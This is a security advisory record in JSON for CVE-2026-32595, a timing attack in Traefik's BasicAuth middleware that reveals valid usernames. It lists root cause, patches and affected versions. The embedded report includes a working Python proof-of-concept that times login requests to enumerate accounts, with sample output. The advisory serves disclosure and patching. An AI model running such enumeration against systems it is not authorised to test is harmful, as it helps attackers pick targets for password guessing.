CVE-2026-32595: Github.com/traefik/traefik Traefik Affected By BasicAuth Middleware Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g3hg-j4jv-cwfr",
  "modified" : "2026-03-20T15:43:14Z",
  "published" : "2026-03-20T15:43:13Z",
  "aliases" : [ "CVE-2026-32595" ],
  "summary" : "Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration",
  "details" : "## Summary\n\nThere is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nA timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design\n- User doesn't exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n  name: basicauth\n  namespace: traefik-poc\nspec:\n  basicAuth:\n    secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: test-basicauth\n  annotations:\n    traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n  ingressClassName: traefik\n  rules:\n    - http:\n        paths:\n          - path: /protected\n            pathType: Prefix\n            backend:\n              service:\n                name: whoami\n                port:\n                  number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n    times = []\n    for _ in range(SAMPLES):\n        start = time.perf_counter()\n        requests.get(TARGET, auth=(username, password), timeout=5)\n        elapsed = time.perf_counter() - start\n        times.append(elapsed)\n    return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n    median = measure_time(user)\n    if median > 0.05:  # bcrypt threshold\n        status = \"[+] EXISTS (slow - bcrypt verification)\"\n    else:\n        status = \"[-] NOT FOUND (fast - immediate return)\"\n    print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin         | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root          | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test          | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent   | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n  - Attackers can enumerate valid usernames without authentication\n  - Enables targeted password brute-force attacks against confirmed accounts\n  - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:\n  - BasicAuth middleware enabled\n  - Attacker able to make requests to protected endpoints\n  - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n</details>\n\n---",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.7.34"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.41"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.11.40"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.11"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.10"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0-ea.1"
      }, {
        "fixed" : "3.7.0-ea.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32595"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v2.11.41"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.6.11"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-208" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T15:43:13Z",
    "nvd_published_at" : "2026-03-20T11:18:02Z"
  }
}